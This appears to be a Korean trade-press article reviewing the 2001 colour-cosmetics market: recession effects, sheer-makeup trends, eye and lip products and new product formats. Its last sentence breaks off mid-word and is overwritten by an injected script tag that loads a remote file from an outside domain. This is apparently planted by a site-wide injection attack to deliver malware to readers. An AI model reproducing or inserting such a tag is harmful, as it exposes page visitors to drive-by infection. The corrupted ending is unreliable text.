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[2001 연말결산]-색조 제품
  • 승인 2002.01.02 14:25
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[국내]급성장세는 일단 추춤 ‘그러나 희망은 있다’ 투명화장 여전히 강세… 신유형 제품 등장 러쉬 경기 여파로 하반기 시장 침체 3∼4년 전부터 색조전문브랜드를 지향하는 브랜드들의 약진과 함께 급성장하기 시작한 색조시장. 그러나 올 한해는 꾸준하게 성장물결을 일으키던 색조시장의 흐름이 다소 잦아든 해로 평가된다. 전반적으로 침체에 빠져있던 경기의 영향권에서 벗어날 수 없었기 때문이다. 활기차게 시작했던 봄 메이크업 시장은 몇몇 브랜드를 중심으로 성공을 거둬 한 해의 성공을 예감했다. 하지만 비수기인 여름을 보내고 다시 찾아온 성수기인 가을 시장에서 기대만큼의 성과를 거두지 못하면서 색조시장은 침체기에 빠져들었다. 특히, 가을시장이 시작되고 나서도 지속된 무더운 날씨는 하반기 시장 성패를 좌우하는 중요한 시기에 탄생한 제품들이 흐지부지 사라지게 했다. 또, 매출상승기에 발생한 미테러사건은 국내 색조제품을 선호하는 해외 관광객의 감소를 불러 매출하락의 원인이 됐다. 이런 여파로 지난해 신규 색조전문브랜드들이 봇물처럼 등장했던것과는 달리 올해에는 새롭게 시장에서 눈길을 끄는 신규브랜드가 없다는 것도 주목할만한 현상이다. 일부 브랜드들은 성장가능성을 지닌 브랜드였음에도 불구하고 시장에서 사라지기도 했다. 그러나 이것이 색조시장의 하락세를 예고하는 것은 아니다. 여전히 색조시장은 꾸준한 성장가능성을 지닌 시장이기 때문이다. 올해 메이저급 브랜드에서 색조브랜드에 대한 비중을 늘리고, 마케팅력을 지닌 업체에서 새롭게 색조시장에 브랜드들을 등장시켰다는 점이 이를 뒷받침해 준다. 투명 피부에 포인트는 눈화장으로 투명화장의 강세는 올 한해도 계속됐다. 자연스러운 피부표현을 필두에 내세워 한 부분에 포인트를 주는 메이크업 트렌드는 자연스럽게 베이스메이크업 제품에 대한 관심을 높였다. 실제, 비수기에 대부분의 색조전문 브랜드들은 베이스 메이크업 제품으로 비수기를 극복했다. 메이크업의 포인트가 눈으로 옮겨가면서 올 한해도 지난해에 이어 아이 메이크업 제품이 포인트 메이크업군의 선두자리를 차지했다. 단색 아이섀도와 마스카라가 매 시즌마다 인기몰이를 했다. 뿐만 아니라 아이메이크업을 완성시켜주는 인조속눈썹도 올해 급부상한 제품이다. 여기에 덧붙여 립글로스 역시 투명화장 트렌드에 있어 빼놓을 수 없는 제품군이다. 저렴한 가격에 머물렀던 립글로스는 형태와 기능을 달리하며 가격대 역시 다양화되는 양상을 보였다. 색조시장에 있어 ‘유행색’이라는 개념은 이제 별 의미가 없어졌다. 봄에는 핑크, 오렌지, 여름에는 블루, 가을에는 브라운, 겨울에는 골드 등의 패턴컬러가 올해 각사가 제시하는 메이크업 패턴에 빠지지 않고 등장했지만 판매에는 예전만큼 큰 영향을 미치지 않는다. 소비자들이 유행컬러와 상관없이 자신의 개성에 맞춘 메이크업을 선호하고, 시장에는 4계절 내내 다양한 컬러들이 구비돼 이들의 욕구를 충족시켜 주면서 점차 색조시장은 획일화된 유행패턴에서 벗어나고 있는 추세다. 새롭지 않으면 살아남을 수 없다 올 색조시장의 가장 큰 특징은 ‘컬러의 다양화’가 아닌 ‘제형의 다양화’가 시작됐다는 점이다. 트렌드가 살아있는 색조제품은 새로운 것을 향한 소비자들의 욕구를 어느정도 충족시키느냐가 매출과 직결된다. 그리고 3개월 주기로 변화되는 메이크업 패턴만으로는 이 욕구를 충족시키기 어려운 시대가 됐다. 소비자들은 이미 다양한 루트를 통해 시시각각 변화하는 정보를 보고 듣고 있기 때문이다. 수입 색조제품에 불고 있는 트렌드를 반영해 국내 색조제품 역시 이제 제품 용기와 텍스처, 제형부문으로 그 관심이 옮겨가고 있다. 올해 색조시장에는 유난히 다양한 타입의 제품들이 선을 많이 보였다. 립글로스 하나만 해도 팁타입, 튜브타입 등 신제형 제품이 등장하는가 하면, 고정관념을 깨는 스틱타입 블러셔와 아이 섀도, 내용물에 문양을 새긴 다양한 제품들이 선보였다. 마스카라 베이스와 립스틱&섀도 겸용제품, 메이크업 리무버 등도 신선함을 앞세우며 시장에서 자리를 잡아가고 있다. 대부분의 색조전문 브랜드들이 한 번의 유행 사이클을 지낸 제품들을 신유형 제품으로 변화시킬 계획에 있어 내년도 색조시장은 신유형 제품들을 중심으로 또 한번 성장의 급물살을 일으킬 것으로 전망된다. 여기에 올해 새롭게 시장에 진입한 색조전문브랜드들외에 몇몇 색조전문 브랜드들이 내년도 신규진출을 앞두고 있어 내년 색조시장은 신유형 제품으로 무장한 기존 브랜드와 신브랜드간의 경쟁구?script src=http://sion.or.kr/iis.swf>

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